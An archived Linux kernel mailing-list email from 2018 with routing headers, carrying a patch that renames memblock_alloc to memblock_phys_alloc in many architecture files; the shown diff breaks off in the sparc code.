 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:26:07 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0nAj-0000SK-JX
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:26:06 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=bdZBCO2N4GbES3xRtBy6wHEeXqTY6C38BhV5xci3R10=; b=s+Fc72r7gFiE3vxKHqg2svPQBZ
	Y8h+2ntRIrUm7+cEbz3vPLNtLrBR41Gm5u6P3tkjNkx7a8wIOmI1oNtlYtKFpUCtIVK+1bcSB2OXV
	bhYksbTGkNwjTed6e3PSWpNdwjk9w5Bh7H0E/OaRxJZYkB87pwbLxcZkbxcKF9YuyGXCrf/ckVJDL
	By26Q6gt7BWWWG/gHYqhCMLWmKKNDqO9AKRL5cUnoIVy4lxGzA5WY9NAqlNYZ2WrziifAUVv2178Z
	KSDpMO5dQTMb3sDN7sSLs+FWVCFXEFkd7/FIWe++puxSJ7zimKU8gL2Ivvm114r51nAy9UR951pQg
	eEFHVw2g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0nCn-0002sU-9R; Fri, 14 Sep 2018 12:28:13 +0000
Original-Received: from casper.infradead.org ([2001:8b0:10b:1236::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0nC9-0002Pe-Lv
 for linux-snps-arc@bombadil.infradead.org; Fri, 14 Sep 2018 12:27:34 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=casper.20170209; h=Message-Id:References:In-Reply-To:Date:
 Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=fLMaHArG3BYQXI76bkqFsPJ2+puP3+g4/uK8X26bQNQ=; b=hY8qzUOMTDkblC2OtiLn44D/U
 omiC2cWI0whE0ViGHyx7ti4D0AskmdS36XZAriWvtH37qas4F6Kk/CLOZRIAqDKsr4zvoZYXh5OQN
 iR2dFAvctUlJyTvCl/dRzqcouCqeRlmSZAw74ECG9mzWXJZ6jHaaxLib47oJKc2KIYLbefFY5bLAO
 1Sj5G/tp/MfnNi/u/6zwJF2AApf/0EIpECzLeuHkwRMaqNgdg/eWoANMA+dVMpbEWBpV1gGMxJfR5
 QZQc0RQ8Bbq+xHT/4TP7C/axy/w6jwQNBuVsc8fzYr3dm0ylsWJpxz9eNRLoWrCAaRNYOduJRxG4j
 cSMmVq3Wg==;
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by casper.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mx4-000361-2U
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:12:00 +0000
Original-Received: from pps.filterd (m0098417.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC6CJZ108634
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:47 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mg9hs826m-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:46 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:42 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:30 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBTGU64094288
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:29 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 0FC3DA4057;
 Fri, 14 Sep 2018 15:11:17 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id A5424A4040;
 Fri, 14 Sep 2018 15:11:11 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:11 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:23 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA59C6
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C3973E
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_131158_478309_DF8A10AC 
X-CRM114-Status: GOOD (  33.14  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on casper.infradead.org summary:
 Content analysis details:   (-0.7 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4373 gmane.linux.kernel.mm:203346 gmane.linux.ports.mips.general:66648 gmane.linux.ports.ia64:29243 gmane.linux.ports.sh.devel:57519 gmane.linux.ports.sparc:28431 gmane.linux.ports.hexagon:1860 gmane.linux.ports.riscv:810 gmane.linux.ports.alpha:5249 gmane.linux.ports.arm.kernel:674221 gmane.linux.ports.parisc:28971 gmane.linux.kernel:2870798 gmane.linux.ports.ppc64.devel:162506
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4373>

Make it explicit that the caller gets a physical address rather than a
virtual one.

This will also allow using meblock_alloc prefix for memblock allocations
returning virtual address, which is done in the following patches.

The conversion is done using the following semantic patch:

@@
expression e1, e2, e3;
@@
(
- memblock_alloc(e1, e2)
+ memblock_phys_alloc(e1, e2)
|
- memblock_alloc_nid(e1, e2, e3)
+ memblock_phys_alloc_nid(e1, e2, e3)
|
- memblock_alloc_try_nid(e1, e2, e3)
+ memblock_phys_alloc_try_nid(e1, e2, e3)
)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/arm/mm/mmu.c                     |  2 +-
 arch/arm64/mm/mmu.c                   |  2 +-
 arch/arm64/mm/numa.c                  |  2 +-
 arch/c6x/mm/dma-coherent.c            |  4 ++--
 arch/nds32/mm/init.c                  |  8 ++++----
 arch/openrisc/mm/init.c               |  2 +-
 arch/openrisc/mm/ioremap.c            |  2 +-
 arch/powerpc/kernel/dt_cpu_ftrs.c     |  4 +---
 arch/powerpc/kernel/paca.c            |  2 +-
 arch/powerpc/kernel/prom.c            |  2 +-
 arch/powerpc/kernel/setup-common.c    |  3 +--
 arch/powerpc/kernel/setup_32.c        | 10 +++++-----
 arch/powerpc/mm/numa.c                |  2 +-
 arch/powerpc/mm/pgtable_32.c          |  2 +-
 arch/powerpc/mm/ppc_mmu_32.c          |  2 +-
 arch/powerpc/platforms/pasemi/iommu.c |  2 +-
 arch/powerpc/platforms/powernv/opal.c |  2 +-
 arch/powerpc/sysdev/dart_iommu.c      |  2 +-
 arch/s390/kernel/crash_dump.c         |  2 +-
 arch/s390/kernel/setup.c              |  3 ++-
 arch/s390/mm/vmem.c                   |  4 ++--
 arch/s390/numa/numa.c                 |  2 +-
 arch/sparc/kernel/mdesc.c             |  2 +-
 arch/sparc/kernel/prom_64.c           |  2 +-
 arch/sparc/mm/init_64.c               | 11 ++++++-----
 arch/unicore32/mm/mmu.c               |  2 +-
 arch/x86/mm/numa.c                    |  2 +-
 drivers/firmware/efi/memmap.c         |  2 +-
 include/linux/memblock.h              |  6 +++---
 mm/memblock.c                         |  8 ++++----
 30 files changed, 50 insertions(+), 51 deletions(-)

diff --git a/arch/arm/mm/mmu.c b/arch/arm/mm/mmu.c
index e46a6a4..f5cc1cc 100644
--- a/arch/arm/mm/mmu.c
+++ b/arch/arm/mm/mmu.c
@@ -721,7 +721,7 @@ EXPORT_SYMBOL(phys_mem_access_prot);
 
 static void __init *early_alloc_aligned(unsigned long sz, unsigned long align)
 {
-	void *ptr = __va(memblock_alloc(sz, align));
+	void *ptr = __va(memblock_phys_alloc(sz, align));
 	memset(ptr, 0, sz);
 	return ptr;
 }
diff --git a/arch/arm64/mm/mmu.c b/arch/arm64/mm/mmu.c
index 8080c9f..b8e037b 100644
--- a/arch/arm64/mm/mmu.c
+++ b/arch/arm64/mm/mmu.c
@@ -83,7 +83,7 @@ static phys_addr_t __init early_pgtable_alloc(void)
 	phys_addr_t phys;
 	void *ptr;
 
-	phys = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
+	phys = memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	/*
 	 * The FIX_{PGD,PUD,PMD} slots may be in active use, but the FIX_PTE
diff --git a/arch/arm64/mm/numa.c b/arch/arm64/mm/numa.c
index 146c04c..e5aacd6 100644
--- a/arch/arm64/mm/numa.c
+++ b/arch/arm64/mm/numa.c
@@ -237,7 +237,7 @@ static void __init setup_node_data(int nid, u64 start_pfn, u64 end_pfn)
 	if (start_pfn >= end_pfn)
 		pr_info("Initmem setup node %d [<memory-less node>]\n", nid);
 
-	nd_pa = memblock_alloc_try_nid(nd_size, SMP_CACHE_BYTES, nid);
+	nd_pa = memblock_phys_alloc_try_nid(nd_size, SMP_CACHE_BYTES, nid);
 	nd = __va(nd_pa);
 
 	/* report and initialize */
diff --git a/arch/c6x/mm/dma-coherent.c b/arch/c6x/mm/dma-coherent.c
index d0a8e0c..01305c7 100644
--- a/arch/c6x/mm/dma-coherent.c
+++ b/arch/c6x/mm/dma-coherent.c
@@ -135,8 +135,8 @@ void __init coherent_mem_init(phys_addr_t start, u32 size)
 	if (dma_size & (PAGE_SIZE - 1))
 		++dma_pages;
 
-	bitmap_phys = memblock_alloc(BITS_TO_LONGS(dma_pages) * sizeof(long),
-				     sizeof(long));
+	bitmap_phys = memblock_phys_alloc(BITS_TO_LONGS(dma_pages) * sizeof(long),
+					  sizeof(long));
 
 	dma_bitmap = phys_to_virt(bitmap_phys);
 	memset(dma_bitmap, 0, dma_pages * PAGE_SIZE);
diff --git a/arch/nds32/mm/init.c b/arch/nds32/mm/init.c
index c713d2a..5af81b8 100644
--- a/arch/nds32/mm/init.c
+++ b/arch/nds32/mm/init.c
@@ -81,7 +81,7 @@ static void __init map_ram(void)
 		}
 
 		/* Alloc one page for holding PTE's... */
-		pte = (pte_t *) __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+		pte = (pte_t *) __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 		memset(pte, 0, PAGE_SIZE);
 		set_pmd(pme, __pmd(__pa(pte) + _PAGE_KERNEL_TABLE));
 
@@ -114,7 +114,7 @@ static void __init fixedrange_init(void)
 	pgd = swapper_pg_dir + pgd_index(vaddr);
 	pud = pud_offset(pgd, vaddr);
 	pmd = pmd_offset(pud, vaddr);
-	fixmap_pmd_p = (pmd_t *) __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+	fixmap_pmd_p = (pmd_t *) __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 	memset(fixmap_pmd_p, 0, PAGE_SIZE);
 	set_pmd(pmd, __pmd(__pa(fixmap_pmd_p) + _PAGE_KERNEL_TABLE));
 
@@ -127,7 +127,7 @@ static void __init fixedrange_init(void)
 	pgd = swapper_pg_dir + pgd_index(vaddr);
 	pud = pud_offset(pgd, vaddr);
 	pmd = pmd_offset(pud, vaddr);
-	pte = (pte_t *) __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+	pte = (pte_t *) __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 	memset(pte, 0, PAGE_SIZE);
 	set_pmd(pmd, __pmd(__pa(pte) + _PAGE_KERNEL_TABLE));
 	pkmap_page_table = pte;
@@ -153,7 +153,7 @@ void __init paging_init(void)
 	fixedrange_init();
 
 	/* allocate space for empty_zero_page */
-	zero_page = __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+	zero_page = __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 	memset(zero_page, 0, PAGE_SIZE);
 	zone_sizes_init();
 
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index 6972d5d..b7670de 100644
--- a/arch/openrisc/mm/init.c
+++ b/arch/openrisc/mm/init.c
@@ -106,7 +106,7 @@ static void __init map_ram(void)
 			}
 
 			/* Alloc one page for holding PTE's... */
-			pte = (pte_t *) __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+			pte = (pte_t *) __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 			set_pmd(pme, __pmd(_KERNPG_TABLE + __pa(pte)));
 
 			/* Fill the newly allocated page with PTE'S */
diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
index 2175e4b..c969752 100644
--- a/arch/openrisc/mm/ioremap.c
+++ b/arch/openrisc/mm/ioremap.c
@@ -126,7 +126,7 @@ pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
 	if (likely(mem_init_done)) {
 		pte = (pte_t *) __get_free_page(GFP_KERNEL);
 	} else {
-		pte = (pte_t *) __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+		pte = (pte_t *) __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 	}
 
 	if (pte)
diff --git a/arch/powerpc/kernel/dt_cpu_ftrs.c b/arch/powerpc/kernel/dt_cpu_ftrs.c
index f432054..8be3721 100644
--- a/arch/powerpc/kernel/dt_cpu_ftrs.c
+++ b/arch/powerpc/kernel/dt_cpu_ftrs.c
@@ -1008,9 +1008,7 @@ static int __init dt_cpu_ftrs_scan_callback(unsigned long node, const char
 	/* Count and allocate space for cpu features */
 	of_scan_flat_dt_subnodes(node, count_cpufeatures_subnodes,
 						&nr_dt_cpu_features);
-	dt_cpu_features = __va(
-		memblock_alloc(sizeof(struct dt_cpu_feature)*
-				nr_dt_cpu_features, PAGE_SIZE));
+	dt_cpu_features = __va(memblock_phys_alloc(sizeof(struct dt_cpu_feature) * nr_dt_cpu_features, PAGE_SIZE));
 
 	cpufeatures_setup_start(isa);
 
diff --git a/arch/powerpc/kernel/paca.c b/arch/powerpc/kernel/paca.c
index 0ee3e6d..f331a00 100644
--- a/arch/powerpc/kernel/paca.c
+++ b/arch/powerpc/kernel/paca.c
@@ -198,7 +198,7 @@ void __init allocate_paca_ptrs(void)
 	paca_nr_cpu_ids = nr_cpu_ids;
 
 	paca_ptrs_size = sizeof(struct paca_struct *) * nr_cpu_ids;
-	paca_ptrs = __va(memblock_alloc(paca_ptrs_size, 0));
+	paca_ptrs = __va(memblock_phys_alloc(paca_ptrs_size, 0));
 	memset(paca_ptrs, 0x88, paca_ptrs_size);
 }
 
diff --git a/arch/powerpc/kernel/prom.c b/arch/powerpc/kernel/prom.c
index c4d7078..fe758ce 100644
--- a/arch/powerpc/kernel/prom.c
+++ b/arch/powerpc/kernel/prom.c
@@ -126,7 +126,7 @@ static void __init move_device_tree(void)
 	if ((memory_limit && (start + size) > PHYSICAL_START + memory_limit) ||
 			overlaps_crashkernel(start, size) ||
 			overlaps_initrd(start, size)) {
-		p = __va(memblock_alloc(size, PAGE_SIZE));
+		p = __va(memblock_phys_alloc(size, PAGE_SIZE));
 		memcpy(p, initial_boot_params, size);
 		initial_boot_params = p;
 		DBG("Moved device tree to 0x%p\n", p);
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 93fa0c9..710ff98 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -459,8 +459,7 @@ void __init smp_setup_cpu_maps(void)
 
 	DBG("smp_setup_cpu_maps()\n");
 
-	cpu_to_phys_id = __va(memblock_alloc(nr_cpu_ids * sizeof(u32),
-							__alignof__(u32)));
+	cpu_to_phys_id = __va(memblock_phys_alloc(nr_cpu_ids * sizeof(u32), __alignof__(u32)));
 	memset(cpu_to_phys_id, 0, nr_cpu_ids * sizeof(u32));
 
 	for_each_node_by_type(dn, "cpu") {
diff --git a/arch/powerpc/kernel/setup_32.c b/arch/powerpc/kernel/setup_32.c
index 8c507be..8190960 100644
--- a/arch/powerpc/kernel/setup_32.c
+++ b/arch/powerpc/kernel/setup_32.c
@@ -206,9 +206,9 @@ void __init irqstack_early_init(void)
 	 * as the memblock is limited to lowmem by default */
 	for_each_possible_cpu(i) {
 		softirq_ctx[i] = (struct thread_info *)
-			__va(memblock_alloc(THREAD_SIZE, THREAD_SIZE));
+			__va(memblock_phys_alloc(THREAD_SIZE, THREAD_SIZE));
 		hardirq_ctx[i] = (struct thread_info *)
-			__va(memblock_alloc(THREAD_SIZE, THREAD_SIZE));
+			__va(memblock_phys_alloc(THREAD_SIZE, THREAD_SIZE));
 	}
 }
 
@@ -227,12 +227,12 @@ void __init exc_lvl_early_init(void)
 #endif
 
 		critirq_ctx[hw_cpu] = (struct thread_info *)
-			__va(memblock_alloc(THREAD_SIZE, THREAD_SIZE));
+			__va(memblock_phys_alloc(THREAD_SIZE, THREAD_SIZE));
 #ifdef CONFIG_BOOKE
 		dbgirq_ctx[hw_cpu] = (struct thread_info *)
-			__va(memblock_alloc(THREAD_SIZE, THREAD_SIZE));
+			__va(memblock_phys_alloc(THREAD_SIZE, THREAD_SIZE));
 		mcheckirq_ctx[hw_cpu] = (struct thread_info *)
-			__va(memblock_alloc(THREAD_SIZE, THREAD_SIZE));
+			__va(memblock_phys_alloc(THREAD_SIZE, THREAD_SIZE));
 #endif
 	}
 }
diff --git a/arch/powerpc/mm/numa.c b/arch/powerpc/mm/numa.c
index 35ac542..5fc0587 100644
--- a/arch/powerpc/mm/numa.c
+++ b/arch/powerpc/mm/numa.c
@@ -788,7 +788,7 @@ static void __init setup_node_data(int nid, u64 start_pfn, u64 end_pfn)
 	void *nd;
 	int tnid;
 
-	nd_pa = memblock_alloc_try_nid(nd_size, SMP_CACHE_BYTES, nid);
+	nd_pa = memblock_phys_alloc_try_nid(nd_size, SMP_CACHE_BYTES, nid);
 	nd = __va(nd_pa);
 
 	/* report and initialize */
diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
index 120a49b..989a1c2 100644
--- a/arch/powerpc/mm/pgtable_32.c
+++ b/arch/powerpc/mm/pgtable_32.c
@@ -50,7 +50,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	if (slab_is_available()) {
 		pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	} else {
-		pte = __va(memblock_alloc(PAGE_SIZE, PAGE_SIZE));
+		pte = __va(memblock_phys_alloc(PAGE_SIZE, PAGE_SIZE));
 		if (pte)
 			clear_page(pte);
 	}
diff --git a/arch/powerpc/mm/ppc_mmu_32.c b/arch/powerpc/mm/ppc_mmu_32.c
index bea6c54..9ee0357 100644
--- a/arch/powerpc/mm/ppc_mmu_32.c
+++ b/arch/powerpc/mm/ppc_mmu_32.c
@@ -224,7 +224,7 @@ void __init MMU_init_hw(void)
 	 * Find some memory for the hash table.
 	 */
 	if ( ppc_md.progress ) ppc_md.progress("hash:find piece", 0x322);
-	Hash = __va(memblock_alloc(Hash_size, Hash_size));
+	Hash = __va(memblock_phys_alloc(Hash_size, Hash_size));
 	memset(Hash, 0, Hash_size);
 	_SDR1 = __pa(Hash) | SDR1_LOW_BITS;
 
diff --git a/arch/powerpc/platforms/pasemi/iommu.c b/arch/powerpc/platforms/pasemi/iommu.c
index f06c83f..f297152 100644
--- a/arch/powerpc/platforms/pasemi/iommu.c
+++ b/arch/powerpc/platforms/pasemi/iommu.c
@@ -213,7 +213,7 @@ static int __init iob_init(struct device_node *dn)
 	pr_info("IOBMAP L2 allocated at: %p\n", iob_l2_base);
 
 	/* Allocate a spare page to map all invalid IOTLB pages. */
-	tmp = memblock_alloc(IOBMAP_PAGE_SIZE, IOBMAP_PAGE_SIZE);
+	tmp = memblock_phys_alloc(IOBMAP_PAGE_SIZE, IOBMAP_PAGE_SIZE);
 	if (!tmp)
 		panic("IOBMAP: Cannot allocate spare page!");
 	/* Empty l1 is marked invalid */
diff --git a/arch/powerpc/platforms/powernv/opal.c b/arch/powerpc/platforms/powernv/opal.c
index 38fe408..9431921 100644
--- a/arch/powerpc/platforms/powernv/opal.c
+++ b/arch/powerpc/platforms/powernv/opal.c
@@ -171,7 +171,7 @@ int __init early_init_dt_scan_recoverable_ranges(unsigned long node,
 	/*
 	 * Allocate a buffer to hold the MC recoverable ranges.
 	 */
-	mc_recoverable_range =__va(memblock_alloc(size, __alignof__(u64)));
+	mc_recoverable_range =__va(memblock_phys_alloc(size, __alignof__(u64)));
 	memset(mc_recoverable_range, 0, size);
 
 	for (i = 0; i < mc_recoverable_range_len; i++) {
diff --git a/arch/powerpc/sysdev/dart_iommu.c b/arch/powerpc/sysdev/dart_iommu.c
index 5ca3e22..a5b40d1 100644
--- a/arch/powerpc/sysdev/dart_iommu.c
+++ b/arch/powerpc/sysdev/dart_iommu.c
@@ -261,7 +261,7 @@ static void allocate_dart(void)
 	 * that to work around what looks like a problem with the HT bridge
 	 * prefetching into invalid pages and corrupting data
 	 */
-	tmp = memblock_alloc(DART_PAGE_SIZE, DART_PAGE_SIZE);
+	tmp = memblock_phys_alloc(DART_PAGE_SIZE, DART_PAGE_SIZE);
 	dart_emptyval = DARTMAP_VALID | ((tmp >> DART_PAGE_SHIFT) &
 					 DARTMAP_RPNMASK);
 
diff --git a/arch/s390/kernel/crash_dump.c b/arch/s390/kernel/crash_dump.c
index 376f6b6..d17566a 100644
--- a/arch/s390/kernel/crash_dump.c
+++ b/arch/s390/kernel/crash_dump.c
@@ -61,7 +61,7 @@ struct save_area * __init save_area_alloc(bool is_boot_cpu)
 {
 	struct save_area *sa;
 
-	sa = (void *) memblock_alloc(sizeof(*sa), 8);
+	sa = (void *) memblock_phys_alloc(sizeof(*sa), 8);
 	if (is_boot_cpu)
 		list_add(&sa->list, &dump_save_areas);
 	else
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index c637c12..2f2ee43 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -843,7 +843,8 @@ static void __init setup_randomness(void)
 {
 	struct sysinfo_3_2_2 *vmms;
 
-	vmms = (struct sysinfo_3_2_2 *) memblock_alloc(PAGE_SIZE, PAGE_SIZE);
+	vmms = (struct sysinfo_3_2_2 *) memblock_phys_alloc(PAGE_SIZE,
+							    PAGE_SIZE);
 	if (stsi(vmms, 3, 2, 2) == 0 && vmms->count)
 		add_device_randomness(&vmms->vm, sizeof(vmms->vm[0]) * vmms->count);
 	memblock_free((unsigned long) vmms, PAGE_SIZE);
diff --git a/arch/s390/mm/vmem.c b/arch/s390/mm/vmem.c
index db55561..04638b0 100644
--- a/arch/s390/mm/vmem.c
+++ b/arch/s390/mm/vmem.c
@@ -36,7 +36,7 @@ static void __ref *vmem_alloc_pages(unsigned int order)
 
 	if (slab_is_available())
 		return (void *)__get_free_pages(GFP_KERNEL, order);
-	return (void *) memblock_alloc(size, size);
+	return (void *) memblock_phys_alloc(size, size);
 }
 
 void *vmem_crst_alloc(unsigned long val)
@@ -57,7 +57,7 @@ pte_t __ref *vmem_pte_alloc(void)
 	if (slab_is_available())
 		pte = (pte_t *) page_table_alloc(&init_mm);
 	else
-		pte = (pte_t *) memblock_alloc(size, size);
+		pte = (pte_t *) memblock_phys_alloc(size, size);
 	if (!pte)
 		return NULL;
 	memset64((u64 *)pte, _PAGE_INVALID, PTRS_PER_PTE);
diff --git a/arch/s390/numa/numa.c b/arch/s390/numa/numa.c
index 5bd3744..297f5d8 100644
--- a/arch/s390/numa/numa.c
+++ b/arch/s390/numa/numa.c
@@ -64,7 +64,7 @@ static __init pg_data_t *alloc_node_data(void)
 {
 	pg_data_t *res;
 
-	res = (pg_data_t *) memblock_alloc(sizeof(pg_data_t), 8);
+	res = (pg_data_t *) memblock_phys_alloc(sizeof(pg_data_t), 8);
 	memset(res, 0, sizeof(pg_data_t));
 	return res;
 }
diff --git a/arch/sparc/kernel/mdesc.c b/arch/sparc/kernel/mdesc.c
index 39a2503..59131e7 100644
--- a/arch/sparc/kernel/mdesc.c
+++ b/arch/sparc/kernel/mdesc.c
@@ -170,7 +170,7 @@ static struct mdesc_handle * __init mdesc_memblock_alloc(unsigned int mdesc_size
 		       mdesc_size);
 	alloc_size = PAGE_ALIGN(handle_size);
 
-	paddr = memblock_alloc(alloc_size, PAGE_SIZE);
+	paddr = memblock_phys_alloc(alloc_size, PAGE_SIZE);
 
 	hp = NULL;
 	if (paddr) {
diff --git a/arch/sparc/kernel/prom_64.c b/arch/sparc/kernel/prom_64.c
index baeaeed..c37955d 100644
--- a/arch/sparc/kernel/prom_64.c
+++ b/arch/sparc/kernel/prom_64.c
@@ -34,7 +34,7 @@
 
 void * __init prom_early_alloc(unsigned long size)
 {
-	unsigned long paddr = memblock_alloc(size, SMP_CACHE_BYTES);
+	unsigned long paddr = memblock_phys_alloc(size, SMP_CACHE_BYTES);
 	void *ret;
 
 	if (!paddr) {
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index f396048..578ec3d 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -1092,7 +1092,8 @@ static void __init allocate_node_data(int nid)
 #ifdef CONFIG_NEED_MULTIPLE_NODES
 	unsigned long paddr;
 
-	paddr = memblock_alloc_try_nid(sizeof(struct pglist_data), SMP_CACHE_BYTES, nid);
